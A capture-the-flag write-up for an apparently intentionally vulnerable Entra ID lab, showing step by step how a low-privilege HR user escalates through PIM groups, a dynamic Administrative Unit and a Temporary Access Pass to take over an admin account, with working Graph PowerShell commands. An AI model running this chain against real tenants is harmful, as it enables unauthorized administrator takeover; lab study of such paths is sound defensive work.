EntraGoat Scenario 5 – Department of Escalations (AU Ready for This?)

Scenario Overview

Objective: Gain access to the target administrative account and retrieve the flag stored in extensionAttribute1.

Initial Access

Compromised User:

sarah.connor@neho7890gmail.onmicrosoft.com

Sarah Connor appears to be an ordinary HR employee with no obvious privileged Entra role assignments.

---

Step 1 – Enumerate Administrative Units

Sarah looked like a plain HR user, so I started where an HR account is most likely to sit next to hidden privilege — Administrative Units, which can carry admin roles scoped to just a slice of the directory:

Get-MgDirectoryAdministrativeUnit

Discovered:

HR Department

Further enumeration revealed that the Administrative Unit uses dynamic membership:

(user.department -eq "HR")

---

Step 2 – Identify Scoped Role Assignments

Enumerating role assignments revealed a Privileged Authentication Administrator assignment scoped to the HR Administrative Unit.

Get-MgRoleManagementDirectoryRoleAssignment

Result:

Role:
Privileged Authentication Administrator

Principal:
Regional HR Coordinators

Scope:
/administrativeUnits/<HR Department>

At this stage, the role was not directly usable because Sarah was not a member of the assigned group.

---

Step 3 – Discover PIM Eligible Assignment

Using Microsoft Entra Privileged Identity Management (PIM), Sarah’s eligible assignments were reviewed.

Discovered:

HR Support Team
Eligible Member

I activated it to see what membership in that team actually granted.

---

Step 4 – Gain User Profile Administrator Permissions

After activation, the HR Support Team granted the following custom role:

User Profile Administrator

Permissions:

microsoft.directory/users/basic/update
microsoft.directory/users/standard/read
microsoft.directory/groups/standard/read

This provided the ability to modify basic user profile attributes.

Validation:

Update-MgUser `
-UserId "lisa.park@tenant" `
-Department "HR"

The update succeeded, confirming the role was active.

---

Step 5 – Activate Ownership on the Target Group

Sarah had an eligible assignment related to the following group:

Regional HR Coordinators

The assignment was activated through PIM, granting the permissions required to manage the group.

New-MgIdentityGovernancePrivilegedAccessGroupEligibilityScheduleRequest

After activation, Sarah became Owner of:

Regional HR Coordinators

Step 6 – Add Sarah to the Privileged Group

As group owner, Sarah added herself as a member.

New-MgGroupMemberByRef `
-GroupId $regional.Id `
-BodyParameter @{
    "@odata.id" = "<https://graph.microsoft.com/v1.0/directoryObjects/$($sarah.Id)>"
}

Result:

Sarah Connor
↓
Member
Regional HR Coordinators

---

Step 7 – Abuse Dynamic Administrative Unit Membership

The target administrator account was identified:

EntraGoat-admin-s5

The account was not initially part of the HR Administrative Unit.

This is where the pieces connect. The AU’s membership is dynamic on department -eq "HR", and my User Profile Administrator role let me edit department attributes — so I could pull the target admin into the HR AU just by rewriting one field. I set the target admin’s department to HR:

Update-MgUser `
-UserId "EntraGoat-admin-s5@neho7890gmail.onmicrosoft.com" `
-Department "HR"

Result:

Department = HR

Because the Administrative Unit used dynamic membership:

(user.department -eq "HR")

the administrator account was automatically added to the HR Administrative Unit.

---

Step 8 – Obtain Scoped Privileged Authentication Administrator Rights

Since Sarah was now a member of:

Regional HR Coordinators

and that group possessed:

Privileged Authentication Administrator

scoped to:

HR Department Administrative Unit

Sarah effectively gained authentication management rights over all users inside the Administrative Unit, including:

EntraGoat-admin-s5

---

Step 9 – Create Temporary Access Pass

A Temporary Access Pass was generated for the target administrator.

New-MgUserAuthenticationTemporaryAccessPassMethod `
-UserId "EntraGoat-admin-s5@neho7890gmail.onmicrosoft.com" `
-BodyParameter @{
    isUsableOnce = $true
    lifetimeInMinutes = 60
}

Result:

TAP successfully created

---

Step 10 – Access Target Account

Using the Temporary Access Pass, authentication as:

EntraGoat-admin-s5

went through, signing me in as the target admin.

---

Step 11 – Retrieve Flag

The flag was extracted from:

extensionAttribute1

Get-MgUser `
-UserId "EntraGoat-admin-s5@neho7890gmail.onmicrosoft.com" `
-Property "onPremisesExtensionAttributes"

Result:

EntraGoat{...}

---

Attack Path Summary

Sarah Connor
        │
        ▼
Activate PIM Membership
(HR Support Team)
        │
        ▼
User Profile Administrator
(users/basic/update)
        │
        ▼
Become Owner of
Regional HR Coordinators
        │
        ▼
Add Self as Member
        │
        ▼
Gain PAA (Scoped to HR AU)
        │
        ▼
Modify admin-s5 Department → HR
        │
        ▼
Dynamic AU Membership Triggered
        │
        ▼
admin-s5 Added to HR AU
        │
        ▼
Create Temporary Access Pass
        │
        ▼
Authenticate as admin-s5
        │
        ▼
Retrieve Flag

Key Lesson

This scenario demonstrates how seemingly harmless delegated permissions can be chained together:

1. PIM Eligible Membership
2. Custom User Profile Modification Rights
3. PIM Group Ownership
4. Administrative Unit Dynamic Membership
5. Scoped Privileged Authentication Administrator

Individually, each feature appears low risk. Combined, they enable full privilege escalation to a highly privileged administrative account.

Note: During testing, a lab deployment inconsistency was encountered and corrected before continuing with the intended attack path.